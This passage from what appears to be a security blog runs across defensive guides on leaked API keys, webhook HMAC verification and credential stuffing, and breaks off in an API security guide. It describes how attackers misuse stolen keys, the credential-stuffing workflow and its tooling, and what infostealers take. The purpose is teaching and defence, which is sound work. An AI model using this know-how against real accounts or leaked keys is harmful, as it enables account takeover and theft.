user to deny high-risk actions, and opens a support case. Rotation is still your job. - Git history keeps a removed secret in every clone and fork. Rewrite history only after the key is revoked, and treat the rewrite as hygiene. - Static cloud keys in CI are among the easiest leaks to remove: GitHub Actions, GitLab and others can exchange an OIDC token for short-lived cloud credentials. ### FAQ **Q: I pushed an API key to GitHub and deleted it a minute later. Am I safe?** No. Assume it was copied. Public pushes are watched continuously by scanners run by providers, researchers and attackers (Unit 42 saw one attacker use exposed AWS keys within five minutes of the push), and the commit stays reachable in the repository history and in any fork or clone. Revoke or rotate the key now, then check the provider's logs for use since the push. **Q: Is a key in a private repository a problem?** Yes. Private repositories are read by every collaborator, every CI integration and anyone who steals a developer's token or laptop. In the 2016 Uber breach, attackers used an AWS key that an engineer had posted in a private GitHub repository. **Q: Should I rewrite git history to remove the secret?** After revoking it, yes, so it stops showing up in scans and new clones. Use git filter-repo or BFG Repo-Cleaner, force-push, and ask collaborators to re-clone. The rewrite does not reach forks or copies already made, which is why revocation comes first. **Q: Are frontend keys like a Google Maps key or a Stripe publishable key leaks?** Some keys are designed to be public: Stripe publishable keys, Firebase web config, Mapbox pk tokens, Google Maps keys. Each needs its own guard: restrict a Maps key to your domains and APIs, and protect Firebase data with Security Rules. Secret keys never belong in client code, mobile apps included. An API key is a password that software uses. A Stripe secret key moves money, an AWS access key creates servers, an npm token publishes packages under your name, an OpenAI key bills model calls to your card. None of them ask for a second factor, and most providers send no alert when a new IP address starts using one. That makes leaked keys one of the cheapest ways into a company. Nobody has to phish anyone or exploit anything. Someone finds the string and uses it. ## How big the problem is GitGuardian scans public GitHub continuously. In 2024 it scanned 69.6 million public repositories and found at least one secret in 4.61% of them, and 15% of commit authors had leaked a secret. The figure that matters most for response is the next one: 70% of the secrets leaked in 2022 were still valid when GitGuardian published its 2025 report. Most leaked keys stay valid for years. Public GitHub is only the visible part. The same report covers secrets in public Docker images, and private repositories, chat and ticketing tools carry far more that no outside scanner sees. ## Where keys leak | Channel | How it happens | Who finds it | |---|---|---| | Git commits | A `.env` or config file is committed, or a key is pasted into code "just to test". Deleting it later leaves it in history. | Public-repo scanners within minutes (Unit 42 saw AWS keys used five minutes after a push); anyone with repo access later | | Container images | `COPY . .` in a Dockerfile copies `.env` and `.git` into a layer. Layers keep deleted files. | Anyone who pulls the image from a public registry | | Frontend and mobile code | A secret key is used from the browser or bundled into an app. Minification hides nothing. | Anyone who opens dev tools or unpacks the app | | CI logs | A build step echoes environment variables or runs with debug output on. | Anyone who can read the build logs, which may be public for open-source projects | | Chat, tickets, AI assistants | Someone pastes a config or log to get help. | Every member of the channel, the vendor, and anyone who breaches it | | Terraform state | State files store resource attributes in plain text, including generated passwords and keys. | Anyone who can read the state bucket | | Developer laptops | Infostealer malware takes `.env` files, shell history, browser-saved tokens and cloud CLI credentials. | The stealer operator, then buyers of the logs | The last row is easy to forget. A stealer on one developer's laptop can take the AWS CLI credentials, a GitHub token and every `.env` in their projects in one sweep. Our guide on [what an infostealer takes](/what-is-an-infostealer) covers that path. ## What attackers do with a key What happens next depends on what the key can do. - **Cloud keys** (AWS, Google Cloud, Azure, DigitalOcean) are used to launch [crypto-mining](/what-is-a-cryptojacker) instances, read storage buckets, and create new access keys or users so access survives a rotation. - **Payment keys** (Stripe, Square) are used to test stolen card numbers, read customer and payment data, or refund charges the attacker made with stolen cards. - **Source and package tokens** (GitHub, GitLab, npm, PyPI) are used to read private code for more secrets, or to publish a malicious package version. That turns one leak into a supply-chain attack on everyone who installs the package. - **Email and messaging keys** (SendGrid, Mailgun, Twilio, Slack) are used to send phishing from your verified domain, which passes SPF and DKIM, or to read internal channels. - **AI keys** (OpenAI, Anthropic and others) are resold or used to run large workloads billed to you. The 2016 Uber breach is the standard example. According to the FTC's complaint, attackers used an AWS access key that an Uber engineer had left in plain text in code in a private GitHub repository. They reached the repository because engineers' GitHub accounts reused passwords and had no multi-factor authentication, then downloaded files from Uber's S3 storage holding about 25.6 million names and email addresses of US riders and drivers. Uber later put the worldwide total at 57 million people. ## The first hour after a leak Work in this order. The most common mistake is to start with the git history. 1. **Revoke or rotate the key at the provider.** This is the only step that stops an attacker who already copied it. Create the replacement, deploy it, then delete the old one. If you cannot deploy quickly, revoke first and accept the outage. 2. **Check the provider's logs for use since the leak.** Look for calls from IP addresses, regions or user agents you do not recognise, and for new credentials the attacker may have created. 3. **Look for persistence.** On AWS, list access keys, users, roles and Lambda functions created since the leak. On GitHub, check new deploy keys, OAuth apps and webhooks. Attackers create a second way in before you rotate the first. 4. **Find every copy.** Forks, clones, Docker image tags, CI caches, wiki pages, chat messages and backups. Rotate any other secret that sat in the same file. 5. **Clean up the source.** After revocation, remove the secret from history with git filter-repo or BFG Repo-Cleaner, rebuild affected images, and purge logs where you can. 6. **Write down the cause** and add the control that would have stopped it. Usually that is a scanner in the commit path or a move to short-lived credentials. | Provider | Revoke or rotate | Check usage in | |---|---|---| | AWS | IAM, the user, Security credentials: deactivate, then delete the key | CloudTrail, filtered on the access key id | | Google Cloud | Service account Keys tab, or API key credentials page | Cloud Audit Logs | | GitHub | Developer settings, Personal access tokens | Account security log and organization audit log | | Stripe | API keys page: rotate the key and expire the old one now (a dashboard rotation otherwise keeps it working for up to 7 days) | Workbench request logs, or the key's own request logs | | Slack | App settings, OAuth: revoke tokens | Integration logs under Manage apps; Audit Logs on Enterprise Grid | | OpenAI or Anthropic | API keys page in the console | Usage dashboard | When AWS detects one of your access keys exposed publicly, it can attach the AWSCompromisedKeyQuarantineV3 managed policy to the IAM user, which denies a list of high-risk actions, and opens a support case. The key still works for anything the policy does not deny. The policy also denies creating, deleting and updating access keys for that user, so rotate from a different admin identity, and investigate as if no quarantine had happened. ## How to find leaked secrets you already have Scan before an attacker does. - **Repositories:** run gitleaks or TruffleHog against the full history, including all branches. Both detect hundreds of key formats. TruffleHog also checks by default whether a found key is still live, which sends it to the provider, so pass `--no-verification` when scanning anything other than your own keys. - **Logs, configs and snippets:** before you paste a log into a ticket, chat or AI assistant, run it through our [secret scanner](https://pwnsy.com/tools/secret-scanner/). It finds keys from 40 providers, private keys, tokens and database URLs in your browser, and gives you a redacted copy to share. - **Images:** scan container images in your registry, not only the Dockerfile, since deleted files survive in earlier layers. - **Cloud config:** check that Terraform does not write secrets as literal strings. Our [cloud baseline checker](https://pwnsy.com/tools/cloud-baseline/) flags them along with other risky settings. ## How to defend 1. **Block secrets at commit and push.** Add gitleaks or TruffleHog as a pre-commit hook and in CI. On GitHub, push protection for users is on by default and blocks pushes containing supported secrets to public repositories; enable it for private repositories too where your plan allows. 2. **Keep secrets in a secret manager.** AWS Secrets Manager, Google Secret Manager, HashiCorp Vault or your platform's encrypted environment variables. Commit an `.env.example` with placeholders and add `.env` to `.gitignore`. 3. **Replace static cloud keys with short-lived credentials.** CI systems such as GitHub Actions and GitLab can exchange an OIDC token for short-lived cloud credentials, one hour by default on AWS and Google Cloud. Workloads should use instance roles, workload identity or IRSA rather than key files. 4. **Scope every key.** Restricted Stripe keys, fine-grained GitHub tokens, Google API keys limited by API and referrer, IAM policies with only the actions needed. A leaked scoped key does less damage. 5. **Never put secret keys in client code.** Anything shipped to a browser or a phone is public. Proxy the call through your backend. 6. **Rotate on a schedule** so rotation is routine and fast when it is urgent. A team that has never rotated a key will take days the first time. 7. **Protect the laptops.** Endpoint protection, no long-lived credentials in shell profiles, and a plan to rotate everything on a machine that catches a stealer. Our [session kill switch](https://pwnsy.com/tools/session-kill-switch/) lists where to revoke sessions and tokens across the major platforms. ## Related guides - [What Is an Infostealer](/what-is-an-infostealer) - [Cloud Key Management Explained](/cloud-key-management-explained) - [Secure Coding Practices](/secure-coding-practices) - [Cloud Misconfigurations Guide](/cloud-misconfigurations-guide) - [Webhook Signature Verification](/webhook-signature-verification) - [Credential Stuffing Explained](/credential-stuffing-explained) - [Incident Response 101](/incident-response-101) - [Least Privilege Explained](/least-privilege-explained) ### Sources - The State of Secrets Sprawl 2025 (GitGuardian): https://www.gitguardian.com/state-of-secrets-sprawl-report-2025 - AWSCompromisedKeyQuarantineV3 managed policy (Amazon Web Services): https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV3.html - About push protection (GitHub Docs): https://docs.github.com/en/code-security/secret-scanning/introduction/about-push-protection - EleKtra-Leak: cryptojacking with exposed IAM keys on GitHub (Palo Alto Networks Unit 42): https://unit42.paloaltonetworks.com/malicious-operations-of-exposed-iam-keys-cryptojacking/ - FTC v. Uber Technologies, revised complaint (US Federal Trade Commission): https://www.ftc.gov/system/files/documents/cases/1523054_uber_technologies_revised_complaint_0.pdf --- ## Webhook Signature Verification: How It Works and Why It Fails > How webhook HMAC signatures from Stripe, GitHub, Slack and Svix work, the raw body and timestamp rules, and the mistakes that make verification fail. - URL: https://blog.pwnsy.com/webhook-signature-verification - Date: 2026-10-07 - Updated: 2026-10-07 - Difficulty: intermediate - Category: web-security - Tags: webhooks, hmac, api-security, appsec, replay-attacks - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained), [API Security Best Practices: Building the Defensive Program](https://blog.pwnsy.com/api-security-guide) ### TL;DR - A webhook endpoint is a public URL that changes state in your system, so anyone who finds it can post a fake event unless you verify where it came from. - Most providers sign each delivery with HMAC-SHA256 over the raw request body, often with a timestamp or message id in front, using a secret only you and the provider hold. - Verification fails most often because the server signs a re-serialized JSON body instead of the bytes it received, or uses the wrong secret or encoding. - Check the signature in constant time, reject old timestamps, and dedupe on the event id, so a captured request cannot be replayed. ### Key Takeaways - Stripe signs the string timestamp.body and sends it in Stripe-Signature as t=...,v1=...; its libraries reject events more than five minutes old by default. - GitHub signs the raw body with HMAC-SHA256 and sends sha256= in X-Hub-Signature-256, and tells you to compare with a constant-time function. - Standard Webhooks (used by Svix and the services built on it) signs id.timestamp.body, and the key is the base64-decoded part of the secret after the whsec_ prefix. - Body parsers that turn JSON into objects destroy the exact bytes. Capture the raw body on the webhook route before any parser runs. - Signature, timestamp window and event-id dedupe each block a different attack: forgery, replay, and duplicate processing. ### FAQ **Q: Why does Stripe say no signatures found matching the expected signature?** The body your code signed is not the exact body Stripe sent, or the secret is wrong. The usual cause is a JSON body parser running before the webhook handler, so the code signs a re-serialized object. Pass the raw request body to constructEvent and check that the whsec_ secret belongs to this endpoint and mode. **Q: Do I need to verify webhooks if the URL is secret?** Yes. URLs leak through logs, browser history, proxies, error trackers and former staff. A hard-to-guess URL is a useful second layer, and the signature is the control that proves the sender. **Q: Is HMAC verification enough to stop replay attacks?** Only if the signed content includes a timestamp you check. Without one, a captured request stays valid forever. Add a timestamp window where the scheme supports it and dedupe on the event id in every case. **Q: Why compare signatures with timingSafeEqual instead of ==?** A normal string comparison stops at the first different character, so its run time leaks how many leading characters of a guessed signature were right. crypto.timingSafeEqual in Node and hmac.compare_digest in Python take the same time either way. A webhook is an HTTP request a provider sends to your server when something happens: a payment succeeds, a pull request opens, a user signs up. Your endpoint reads the event and acts on it. It marks an invoice paid, ships an order, grants access. That endpoint is a public URL. Anyone who learns it can send it a request that looks exactly like the provider's. If the server trusts the body, an attacker can post a fake `invoice.paid` and receive goods without paying. Signature verification is the control that stops this, and it is easy to get subtly wrong. ## What a webhook signature proves The provider and your server share a secret, which you set or copy from the provider's dashboard when you create the endpoint. For each delivery, the provider computes an [HMAC](/what-is-hmac) of the request with that secret and puts the result in a header. Your server computes the same HMAC over what it received and compares the two. A match proves two things. The sender knew the secret, so it was the provider (or someone who stole the secret). And the signed content was not changed in transit, because any change produces a different HMAC. A signature alone does not prove the request is fresh. A captured request with a valid signature stays valid forever unless the signed content includes a timestamp you check. That is why most modern schemes sign a timestamp too. ## How the major providers sign The idea is the same everywhere. The details differ, and those details are where verification breaks. | Provider | Header | What is signed | Hash and encoding | Replay window | |---|---|---|---|---| | Stripe | `Stripe-Signature: t=...,v1=...` | `timestamp.body` | HMAC-SHA256, hex | 5 minutes by default in Stripe's libraries | | GitHub | `X-Hub-Signature-256: sha256=...` | body | HMAC-SHA256, hex | None signed; dedupe on `X-GitHub-Delivery` | | Slack | `X-Slack-Signature: v0=...` plus `X-Slack-Request-Timestamp` | `v0:timestamp:body` | HMAC-SHA256, hex | Slack recommends rejecting requests older than 5 minutes | | Standard Webhooks and Svix | `webhook-signature: v1,...` plus `webhook-id` and `webhook-timestamp` | `id.timestamp.body` | HMAC-SHA256, base64 | Set by the receiver, commonly 5 minutes | | Shopify | `X-Shopify-Hmac-SHA256` | body | HMAC-SHA256, base64 | None signed; dedupe on `X-Shopify-Webhook-Id` | | Twilio | `X-Twilio-Signature` | full URL plus sorted form parameters (for JSON bodies, the URL with a `bodySHA256` parameter) | HMAC-SHA1, base64 | None signed | Two details in that table trip up a lot of code. Stripe uses its `whsec_` secret as the key exactly as shown, prefix included. Standard Webhooks also uses a `whsec_` prefix, but there the key is the base64-decoded bytes after the prefix. Code copied from one provider to the other fails every time. You can check any of these schemes against a real delivery with our [webhook signature checker](https://pwnsy.com/tools/webhook-signature/). It rebuilds the exact signed string, shows hidden newlines, and compares in your browser without sending the secret anywhere. ## Verification step by step A correct handler does the following, in this order: 1. **Read the raw body bytes** before any JSON parser touches them. 2. **Read the signature header** and, if the scheme has one, the timestamp and message id. 3. **Rebuild the signed string** exactly as the provider documents it. 4. **Compute the HMAC** with your endpoint secret and the documented hash. 5. **Compare in constant time** against every signature of the current scheme in the header (`v1` for Stripe and Standard Webhooks) and ignore any other scheme. Both may send several `v1` signatures during a secret rotation, and any one matching is valid. 6. **Reject stale timestamps** outside your window. 7. **Dedupe on the event id**, so a replay inside the window or a provider retry does nothing the second time. 8. **Only then parse the JSON** and act on it. Here is a minimal Node.js version for GitHub: ```js import crypto from "node:crypto"; export function verifyGitHub(rawBody, header, secret) { const given = Buffer.from(String(header).replace(/^sha256=/, ""), "hex"); const expected = crypto.createHmac("sha256", secret).update(rawBody).digest(); return given.length === expected.length && crypto.timingSafeEqual(given, expected); } ``` Where the provider ships a verifier in its SDK, such as Stripe's `constructEvent`, use it in production. It handles header parsing, multiple signatures and the timestamp window. ## Why verification fails When a signature that should match does not, the cause is almost always one of these. | Mistake | What happened | Fix | |---|---|---| | Body re-serialized | A framework parsed the JSON, then your code called `JSON.stringify` on the object. Spacing and key order changed. | Capture the raw body on the webhook route, for example `express.raw({ type: "application/json" })`. | | Trailing newline | A test tool, editor or heredoc added `\n` to the body you are testing with. | Send the body with `curl --data-binary` and compare byte lengths. | | Line endings changed | Windows `\r\n` became `\n`, or the reverse. | Treat the body as bytes, never as lines. | | Wrong secret | Test-mode secret against live events, or one endpoint's secret on another endpoint. | Stripe and Standard Webhooks issue one secret per endpoint; Shopify signs with the app client secret and Twilio with the account auth token. Check you have the right one for this endpoint and mode. | | `whsec_` handling | Prefix stripped for Stripe, or kept as text for Standard Webhooks. | Follow the provider's key rule exactly. | | Encoding mix-up | Hex compared against base64, or uppercase hex against lowercase. | Decode both sides to bytes, then compare. | | Timestamp units | Milliseconds used where the scheme signs seconds. | Use the timestamp string from the header unchanged. | | URL mismatch | For Twilio and Square, a proxy changed the scheme, host or port in the URL you sign. | Sign the public URL the provider called. | Take one failing delivery, its header and your secret, and try each variant: minified body, body without the final newline, the other secret format. The variant that matches names the bug. The [webhook signature checker](https://pwnsy.com/tools/webhook-signature/) runs these tests automatically. ## Replay and duplicate events Stripe, Shopify, Slack and most Standard Webhooks senders retry deliveries that time out or return an error, so the same event can arrive more than once. GitHub does not retry on its own, but a manual redelivery resends the event with the same delivery id. Your handler has to be idempotent whatever an attacker does. Store each processed event id with a unique constraint before acting on it. If the insert fails because the id exists, return 200 and stop. This one table blocks replays inside the timestamp window, makes provider retries safe, and gives you an audit trail of every event that changed state. For schemes that sign no timestamp, such as GitHub and Shopify, event-id dedupe is the only replay control you have. Keep the ids for as long as you can, ideally indefinitely: without a signed timestamp, a captured request stays valid forever. ## Secrets and rotation A webhook secret is a credential. Anyone holding it can forge events your server will trust. - Keep it in a secret manager or the deploy environment, never in the repository. If one has leaked, our guide to [leaked API keys](/leaked-api-keys-explained) covers the response. - Use one secret per endpoint where the provider allows it, so a leak in staging does not open production. - Rotate on a schedule and after any exposure. Stripe and Standard Webhooks can sign with old and new secrets during a rollover window, which is why the header can carry several signatures. - Never log the secret, and avoid logging full signature headers alongside bodies. ## How to defend 1. **Verify every delivery** with the provider's documented scheme, over the raw body, in constant time. 2. **Enforce a timestamp window** where the scheme signs one. Five minutes is the common default. 3. **Dedupe on the event id** with a unique constraint before taking action. 4. **Fetch, then trust.** For high-value events such as payments, call the provider's API for the object id in the event and act on what the API returns. A forged body then cannot change the outcome. 5. **Return 2xx fast** and do the work on a queue, so slow processing does not cause retries and duplicates. 6. **Restrict the endpoint** where the provider publishes source IP ranges, as a second layer. Stripe publishes a list and GitHub exposes its hook ranges through its `/meta` API; Twilio, Slack and Shopify do not publish fixed webhook ranges. Never rely on IP allow-lists alone. 7. **Test the failure path.** Send a request with a wrong signature in CI and assert a 400 or 401, and do the same for a stale timestamp and a repeated event id. Webhooks are part of your API surface. The same threat model applies as for any other endpoint, which our [API security guide](/api-security-guide) walks through. ## Related guides - [What Is HMAC](/what-is-hmac) - [API Security Guide](/api-security-guide) - [API Abuse Explained](/api-abuse-explained) - [Leaked API Keys Explained](/leaked-api-keys-explained) - [What Is a JWT](/what-is-a-jwt) - [Man-in-the-Middle Attacks Explained](/man-in-the-middle-explained) - [Secure Coding Practices](/secure-coding-practices) ### Sources - Receive Stripe events in your webhook endpoint: verify webhook signatures (Stripe): https://docs.stripe.com/webhooks - Validating webhook deliveries (GitHub Docs): https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries - Standard Webhooks specification (Standard Webhooks): https://github.com/standard-webhooks/standard-webhooks/blob/main/spec/standard-webhooks.md --- ## Credential Stuffing Explained: How Reused Passwords Get Exploited > How credential stuffing works, where combolists come from, cases like 23andMe, Roku and Snowflake, the signals that reveal it, and how to stop it. - URL: https://blog.pwnsy.com/credential-stuffing-explained - Date: 2026-10-02 - Updated: 2026-10-02 - Difficulty: beginner - Category: web-security - Tags: credential-stuffing, account-takeover, password-reuse, authentication, bot-detection - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained) ### TL;DR - Credential stuffing is the automated replay of username and password pairs stolen from one service against the login pages of other services, betting that people reused the password. - Each attempt usually fails. Shape Security reported success rates of 0.1% to 2%, which still means thousands of hijacked accounts from a list of a million pairs. - The fuel is combolists built from old breaches and, increasingly, infostealer logs that carry fresh passwords and the exact login URL they belong to. - MFA, breached-password screening, bot and device signals, and passkeys break the attack. Rate limiting alone does not, because attackers spread attempts across huge proxy pools. ### Key Takeaways - Verizon's 2025 DBIR research found credential stuffing made up a median 19% of daily authentication attempts in SSO provider logs, rising to 25% at enterprises. - In the median case, only 49% of a user's passwords across services were distinct, according to Verizon's analysis of infostealer data. - 23andMe (2023), Roku (2024) and the Snowflake customer breaches (2024) all began with valid passwords stolen elsewhere and accounts without MFA. - NIST SP 800-63B requires verifiers to check new passwords against a blocklist that includes passwords from previous breach corpuses. - Pwned Passwords lets a site screen passwords with k-anonymity: only the first five characters of the SHA-1 hash leave the server. Many account takeovers involve no guessing at all. An attacker takes an email and password that leaked from one site and tries it on another. If you used the same password on both, they are in. Do that with millions of pairs, automatically, against a login page, and you have credential stuffing. The attack is simple, cheap and persistent. It is also one of the easiest to defeat, which makes it worth understanding from both sides. ## How credential stuffing works OWASP defines credential stuffing as "testing username/password pairs obtained from the breach of another site." The workflow has four parts. 1. **Acquire credentials.** The attacker buys, trades or downloads lists of email and password pairs. 2. **Target a login.** They pick a site or API where accounts have value: streaming, retail with stored cards, airline miles, gaming, banking, cloud consoles. 3. **Automate the attempts.** A tool replays each pair against the login endpoint, routing traffic through many IP addresses so no single source looks noisy. 4. **Monetise the hits.** Working logins are used directly (buying goods, draining points), or sold as verified accounts, which fetch more than raw pairs. The economics rest on password reuse. Verizon's 2025 DBIR research on infostealer data found that in the median case only 49% of a user's passwords across services were distinct from each other. ### Success rates Most attempts fail, and that is fine for the attacker. Shape Security reported success rates between 0.1% and 2% when stolen credentials were replayed against sites that had not themselves been breached. At 1%, a list of one million pairs yields roughly 10,000 working accounts. The cost of trying is close to zero, so even the low end pays. ## Credential stuffing, password spraying and brute force These three are often confused. OWASP's cheat sheet separates them cleanly. | Attack | What is tried | Against | Main tell | |---|---|---|---| | Brute force | Many passwords | One account | Many failures on a single account | | Password spraying | One or a few common passwords | Many accounts | Same password tried across many usernames | | Credential stuffing | A specific leaked password for each user | Many accounts, each once or twice | Many usernames, low per-account attempts, high overall failure rate | Because stuffing tries each account only once or twice, per-account lockouts rarely trigger. That is the main reason it survives defences built for brute force. For the offline side of password attacks, where hashes are cracked rather than logins tried, see [password cracking techniques](/password-cracking-techniques). ## Where the credentials come from **Combolists.** These are text files of email and password pairs merged from many breaches, often deduplicated and sorted by domain. They circulate on forums and Telegram channels, some free, some paid. Many entries are years old. **Infostealer logs.** This is the faster-growing source. An [infostealer](/what-is-an-infostealer) on one machine captures every password the browser saved, along with the URL each one belongs to. That URL pairing removes the guesswork: the attacker knows exactly which login page the credential works on, and the password is current. Stealer logs also carry session cookies, which let an attacker skip the login entirely. That is a separate attack, covered in [session hijacking](/session-hijacking-explained). **Phishing kits.** Credentials typed into fake login pages are fresh and valid at the moment of theft. To see whether a domain's employees or users show up in stealer logs, the [stealer exposure check](https://pwnsy.com/tools/osint/stealer-exposure/) reports counts of infected employees and users and the login URLs that were captured. ## The tooling, described defensively Defenders benefit from knowing the categories of tooling, because each one leaves a different fingerprint. | Category | What it does | What defenders see | |---|---|---| | Configurable checkers (OpenBullet-class) | Load a per-site "config" that scripts the login request and recognises success | Traffic that matches the login flow exactly but skips page assets, scripts or normal navigation | | Proxy networks | Spread requests across datacentre and residential IP addresses | Low attempts per IP, many ASNs, residential ranges that look like real users | | CAPTCHA solving services | Pass challenges with human solvers or automated models | CAPTCHAs that are solved, at speed, with no other human signals | | Headless browsers and anti-detect browsers | Mimic real browsers to defeat basic bot checks | Inconsistent fingerprints, automation flags, mismatched TLS and HTTP headers | The configs are shared and sold per target site, which is why a single popular service can see a surge of attacks after one config circulates. Proxy pools that route through residential connections are the reason simple IP blocking fails. Some of these networks are built from infected home devices, the same infrastructure described in [what a botnet is](/what-is-a-botnet). ## Notable cases **23andMe, 2023.** The company said attackers used credentials compromised elsewhere to access less than 0.1% of its 14 million customers, roughly 14,000 accounts. Through the opt-in DNA Relatives feature, those accounts exposed data on about 5.5 million DNA Relatives profiles and about 1.4 million Family Tree profiles. 23andMe responded by resetting passwords and requiring two-step verification for every account. The case shows how a small number of stuffed accounts can reach a much larger population through sharing features. **Roku, 2024.** Roku reported that about 15,000 accounts were accessed using credentials stolen from other sources, followed by a second incident affecting about 576,000 accounts. In fewer than 400 cases attackers made purchases with stored payment methods. Roku said it was not the source of the credentials and turned on two-factor authentication for all accounts. **Snowflake customers, 2024.** Mandiant's investigation of UNC5537 found the actor logged into Snowflake customer instances with credentials stolen by infostealers, some from infections dating back to November 2020. About 165 organisations were notified as potentially exposed, and at least 79.7% of the accounts used had prior credential exposure. Mandiant named three factors: no MFA, credentials never rotated, and no network allow lists. It is the same replay of stolen credentials at enterprise scale, fed by stealer logs. Our [Snowflake breach guide](/snowflake-breaches-explained) has the full story. Verizon's analysis of SSO provider logs for the 2025 DBIR found the median day had 19% of all authentication attempts coming from credential stuffing, 25% at enterprise-sized organisations, with a peak day of 44%. Compromised credentials were an initial access vector in 22% of the breaches it reviewed. ## Detection signals Watch the login endpoint as a system, since individual accounts rarely look unusual. - **A rising failed-login ratio** across the whole site, especially "unknown username" and "wrong password" failures together. - **Many distinct usernames per IP, device fingerprint or TLS fingerprint**, even at low volume per source. - **Login attempts that skip the page.** Requests straight to the login API with no prior page load, script execution or asset fetch. - **Fingerprint mismatches.** A browser user-agent with a TLS or HTTP/2 fingerprint that belongs to a scripting library. OWASP names JA3 and HTTP/2 fingerprinting as useful signals. - **Traffic from hosting providers and known proxy ranges** at unusual times. - **Successful logins followed by account changes**: new email, new shipping address, new payment method, password change. - **Users reporting MFA prompts they did not trigger**, which means their password worked somewhere. - **Credentials from your user base appearing in combolists or stealer logs.** Feed these into your [SIEM](/what-is-a-siem) and alert on site-wide trends. ## How to defend against credential stuffing ### For site and app owners 1. **Require MFA**, or at least trigger it for risky logins (new device, new location, hosting provider IP). OWASP calls MFA the strongest single defence. 2. **Screen passwords against breach data.** NIST SP 800-63B says verifiers "SHALL compare the prospective secret against a blocklist" that includes passwords from previous breach corpuses. The Pwned Passwords range API supports this with k-anonymity: the server sends only the first five characters of the password's SHA-1 hash and compares the returned suffixes locally, so the password never leaves your system. 3. **Rate limit by more than IP.** Limit by account, device fingerprint, subnet and ASN, and use progressive delays. NIST caps consecutive failed attempts on one account at 100. Our [rate limiting guide](/rate-limiting-explained) covers the design. 4. **Use device and connection fingerprinting** to spot automation that rotates IPs. 5. **Add a challenge on risk**, and accept that CAPTCHAs alone are defeated by solving services. 6. **Avoid user enumeration.** Return the same response for a bad username and a bad password. 7. **Notify users** of new-device logins and password changes, so victims can act fast. 8. **Offer passkeys.** A passkey is bound to your site's origin and holds no reusable secret, so there is nothing for a combolist to contain. See [passkeys explained](/passkeys-explained). ### For individuals 1. **Use a unique password for every account**, generated and stored by a [password manager](/password-managers-guide). 2. **Turn on MFA** everywhere it is offered, starting with email. 3. **Switch to passkeys** where available. 4. **Check whether your email or passwords have leaked** with Have I Been Pwned. 5. **After a breach alert, sign out everywhere.** The [session kill switch](https://pwnsy.com/tools/session-kill-switch/) lists where each major platform lets you revoke sessions and sign out of all devices. Rejecting known-breached passwords at sign-up and password change costs one API call and removes the passwords most likely to appear in a combolist. Pair it with MFA and most stuffing traffic becomes worthless to the attacker. ## Related guides - [Session Hijacking Explained](/session-hijacking-explained) - [Passkeys Explained](/passkeys-explained) - [Password Cracking Techniques](/password-cracking-techniques) - [The Snowflake Customer Breaches](/snowflake-breaches-explained) - [What Is an Infostealer](/what-is-an-infostealer) - [Rate Limiting Explained](/rate-limiting-explained) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [How Dark Web Monitoring Works](/how-dark-web-monitoring-works) ### Sources - Credential Stuffing Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html - Additional 2025 DBIR research on credential stuffing (Verizon): https://www.verizon.com/business/resources/articles/credential-stuffing-attacks-2025-dbir-research/ - UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion (Google Cloud (Mandiant)): https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion - Addressing Data Security Concerns (23andMe): https://www.23andme.org/blog/articles/addressing-data-security-concerns - Protecting your Roku account (Roku): https://www.roku.com/blog/protecting-your-roku-account - NIST SP 800-63B: Digital Identity Guidelines, Authentication and Authenticator Management (NIST): https://pages.nist.gov/800-63-4/sp800-63b.html - Have I Been Pwned API v3: Pwned Passwords (Have I Been Pwned): https://haveibeenpwned.com/API/v3 - Credential stuffing: 2% success rate (The Register (reporting Shape Security research)): https://www.theregister.com/2017/01/17/credential_stuffing/ --- ## API Security Best Practices: Building the Defensive Program > How to secure an API end to end: inventory of shadow and zombie endpoints, token validation, where authorization decisions live, schema enforcement, rate-limit budgets, gateway placement, and the logs that catch what you missed. - URL: https://blog.pwnsy.com/api-security-guide - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: web-security - Tags: api-security, appsec, authorization, owasp, api-gateway - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Inventory first. Every other control is scoped to the endpoints you know about, so an API you never catalogued is an API with no controls on it at all. - Authentication belongs at the edge and authorization belongs in the service that owns the data. A gateway can prove who is calling; only the service knows whether this caller owns this record. - Enforce a request and response schema on every endpoint. A declared type per field is the cheapest control you can buy and it closes whole classes of malformed-input bugs in one auditable place. - Rate limits are a budget, set per endpoint from observed legitimate usage, and expressed in the unit that actually costs you: requests, records returned, or query complexity. - Log which subject was allowed to touch which object. A 200 that should have been a 403 is invisible in a log that records only method, path and status. ### Key Takeaways - Reconcile your gateway's observed path templates against your OpenAPI spec on a schedule; the difference is your shadow and zombie API surface. - Validate tokens against an explicit list: issuer, audience, signing algorithm allowlist, key ID against a cached JWKS, expiry, and the scope the endpoint requires. - Centralize the authorization policy so it is auditable, and evaluate it inside the service that holds the ownership data so the decision has the facts it needs. - Deprecation needs a date and an enforcement step. An endpoint marked deprecated in documentation and still answering requests is a live endpoint. - Machine-to-machine traffic is where mutual TLS and short-lived, audience-restricted tokens do their best work, because there is no user to inconvenience. ### FAQ **Q: What are the most important API security best practices?** Maintain a complete inventory of every endpoint you expose, authenticate every request with a validated token or client certificate, authorize every object and action inside the service that owns the data, enforce a request and response schema on each endpoint, apply rate limits and quotas sized from real usage, terminate TLS everywhere including internal hops, and log the authorization decision on every call. The order matters: inventory scopes everything else, and authorization is where the expensive breaches happen. **Q: What is a shadow API and how do I find one?** A shadow API is an endpoint serving production traffic that is absent from your documentation, your specification, and your security testing scope. The 